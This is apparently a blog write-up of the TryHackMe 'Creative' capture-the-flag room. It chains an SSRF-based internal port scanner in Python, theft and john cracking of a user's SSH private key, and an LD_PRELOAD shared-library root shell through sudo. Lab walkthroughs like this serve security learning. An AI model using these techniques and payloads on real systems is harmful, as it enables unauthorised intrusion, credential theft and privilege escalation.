Post

THM - Creative writeup

Hi,

This is my writeup about the TryHackMe box “Creative”.

Information gathering

If you have read any of my older writeups, you know that I always have the same start:

1
nmap -Pn TARGET_MACHINE_IP -oN ports && nmap -Pn -sC -sV -p $(grep -Po '.*(?=/tcp)' ports | tr '\n' ',') TARGET_MACHINE_IP -oN services

That scan reveals two open ports:

  • 22 which is running OpenSSH
  • 80 which is running Apache

Redirection to FQDN

After trying to visit the website by type the ip into the browser url bar, the response is a redirection to the FQDN creative.thm, which results into a empty page. To solve this problem, I have to add the ip and the FQDN to my /etc/hosts file.

After that the website is shown as expected:

creative.thm.png

I have looked through the whole page but there are no hints there. I even scraped all the usernames and the structure of email address.

But all were useless and I have to change my direction.

Forgotten door

I decided to search for subdomains with help of gobuster. And there is one subdomain:

gobuster_vhost.png

I used subdomains-top1million-20000.txt wordlist, but rockyou.txt will also work in this case. Now lets have a look on that subdomain by adding it to the /etc/hosts file with the same ip as the main site.

beta.creative.thm.png

I should be able to give a url which will be “tested” from the target server. This looks like a opportunity for an SSRF-attack.

First let’s open a simple http server locally and try to reach it from the target server.

1
python -m http.server 9090

targetToUs.png

Now that the proof is done, I have decided to check if I can check for open ports from internally. From external with help of nmap, I was able to find two open ports: 80 and 22.

First I checked the open port 22 and got a

1
<p>Dead</p>

response. Then, just to be sure that this really doesn’t work, I checked port 80, which is also open. But this time, the response contains the whole main page as html text. By inspecting the request with developer tools, I had all needed information to create a simple portscanner with python.

inspectURLTesting.png

DIY Portscan

1
2
3
4
5
6
7
8
9
10
11
import requests
from concurrent.futures import ThreadPoolExecutor

def checkPort(port):
  data = {"url": f"http://localhost:{port}"}
  response = requests.post("http://beta.creative.thm", data=data)
  if "Content-Length" not in response.headers:
    print(f"Found open port: {port}")

with ThreadPoolExecutor(max_workers=30) as executor:
  executor.map(checkPort, list(range(1,65535)))

I’m checking for the Content-Length header, because it only appears when the port is not open. With this scan I was able to find out that port 1337 is accepting requests.

When requesting that port the response is the root directory of the server self.

Footstep

From this point, to get the content of user.txt is straight forward, because I can just enter any directory I want to get the content of it. Just look at /home/ to get the username and then into the user’s home to find out the name of the file with the first flag.

After that I didn’t waste time on bruteforcing the password for the user to get ssh connection. I just read the content of ~/.ssh and grab the user’s private key. The private key is encrypted, so to be able to use it and connect via ssh, I had to bruteforce it with john.

1
ssh2john id_rsa > id_rsa_hash
1
john --wordlist ./rockyou.txt id_rsa_hash

After that I was logged in as user saad via ssh.

PrivEsc

The last step has to be done now. In order to get root, I’ve searched for any SUID oder Cronjob without luck. To see if saad has some sudoers privileges, I have to get the password. But the cracked password for the private key is not the same as for the user. By looking into the users home directory, I observed the password in the .bash_history file. And the user has sudoers privileges but only for using the ping command, which is useless for in order to gain root privileges. But there is something else…

sudo-l.png

This is interesting, because we can use it to gain root access. (see man8 - ld.so)

For this I have created a simple c code:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
  unsetenv("LD_PRELOAD"); // To prevent further interceptions of library functions
  // Set user ID and Group to 0 (root)
  setgid(0);
  setuid(0);
  // Spawn a shell as root
  system("/bin/bash");
}

Then compile and run the code to get root.

1
gcc -fPIC -shared -o getRoot.so getRoot.c -nostartfiles

The -nostartfiles is needed or the redefinition of _init() would cause a compiling error.

1
sudo LD_PRELOAD=./getRoot.so ping

Good luck! :)


darksoulsMeme.png

All rights reserved by Fatos Shala.